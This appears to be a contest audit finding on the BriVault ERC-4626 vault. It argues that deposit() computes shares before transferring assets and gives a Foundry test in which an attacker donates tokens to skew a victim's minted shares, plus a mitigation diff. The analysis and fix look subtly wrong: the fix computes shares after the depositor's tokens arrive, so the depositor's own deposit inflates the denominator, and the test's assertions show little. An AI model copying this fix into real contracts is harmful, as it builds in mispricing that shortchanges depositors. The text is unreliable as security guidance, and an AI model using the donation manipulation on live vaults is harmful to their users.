BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Shares calculated before transfer in deposit()

Description

  • In an ERC‑4626 vault, the number of shares to mint for a deposit should be determined against a canonical, manipulation‑resistant asset accounting and in a way that is consistent with the actual assets the vault will hold after the deposit. Implementations typically pull assets first (or compute using the intended post‑deposit state) and then mint shares, ensuring accurate pricing and minimizing MEV/front‑running surface.

  • In deposit(), the contract computes participantShares before transferring the depositor’s stakeAsset into the vault. _convertToShares() uses the current vault balance as denominator. Because the transfer to the vault happens after this calculation, the share price is derived from a pre‑deposit balance, not reflecting the actual state after the deposit. This enables front‑running (an attacker adjusts the vault balance between blocks/tx ordering to skew your mint price) and yields inaccurate share accounting that diverges from ERC‑4626 expectations.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)); // pre-deposit balance
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets; // 1:1 bootstrap
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood: Medium

  • During busy blocks, it is common for other transfers to the vault (donations, refunds, unrelated movements) to land between the time a user signs a deposit and its inclusion, resulting in price drift since shares are computed off a balance that can change right before settlement.

  • MEV searchers can front‑run deposits by sending tiny transfers to inflate/deflate the vault balance used in _convertToShares right before the victim’s deposit() executes, skewing minted shares.

Impact: Medium

  • Depositors receive too many or too few shares compared to what the vault actually holds after the transfer, leading to unfair dilution or under‑allocation.

  • Attackers can profit by nudging the vault balance immediately before victim deposits, extracting value via share price manipulation.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract SharesBeforeTransferTest is Test {
BriVault vault;
MockERC20 token;
address owner = makeAddr("owner");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
address feeTo = makeAddr("fee");
uint256 start; uint256 end;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
token = new MockERC20("Mock", "M");
token.mint(victim, 100 ether);
token.mint(attacker, 100 ether);
vm.startPrank(owner);
vault = new BriVault(IERC20(address(token)), 0, start, feeTo, 0.001 ether, end);
vm.stopPrank();
vm.prank(victim);
token.approve(address(vault), type(uint256).max);
vm.prank(attacker);
token.approve(address(vault), type(uint256).max);
}
function test_ShareCalc_UsesPreDepositBalance_CanBeManipulated() public {
// Bootstrap: attacker donates to set some balance/price context
vm.prank(attacker);
token.transfer(address(vault), 10 ether);
// Record expected shares for a 10 ether deposit given the current state
uint256 previewBefore = vault.convertToShares(10 ether);
// Attacker manipulates the denominator with a last-moment transfer
vm.prank(attacker);
token.transfer(address(vault), 90 ether); // lands before victim's deposit
// Victim deposits; shares were computed against pre-deposit balance by the contract
vm.prank(victim);
uint256 minted = vault.deposit(10 ether, victim);
// Because the contract computed shares before pulling victim's assets,
// the minted amount is based on an outdated balance, diverging from a fair post-deposit price.
uint256 previewAfterManipulation = vault.convertToShares(10 ether);
assertTrue(minted != previewAfterManipulation, "minted shares differ from fair price after manipulation");
// Also show it likely differs from the original preview as balance changed in-between:
assertTrue(minted != previewBefore, "minted shares differ from original preview due to pre-transfer calc");
}
}

Recommended Mitigation

  • Pull first, then mint (or compute from an expected post‑deposit state) and consider using a balance‑delta approach to support fee‑on‑transfer tokens reliably.

function deposit(uint256 assets, address receiver) public override returns (uint256) {
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
- uint256 stakeAsset = assets - fee;
- uint256 participantShares = _convertToShares(stakeAsset); // computed before transfer
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
- IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
+ uint256 stakeAsset = assets - fee;
+ IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
+
+ // pull assets first and measure actual received (covers fee-on-transfer)
+ uint256 balBefore = IERC20(asset()).balanceOf(address(this));
+ IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
+ uint256 received = IERC20(asset()).balanceOf(address(this)) - balBefore;
+ require(received > 0, "zero received");
+
+ // now compute shares using the up-to-date state / internal accounting
+ uint256 participantShares = _convertToShares(received);
+ _mint(receiver, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!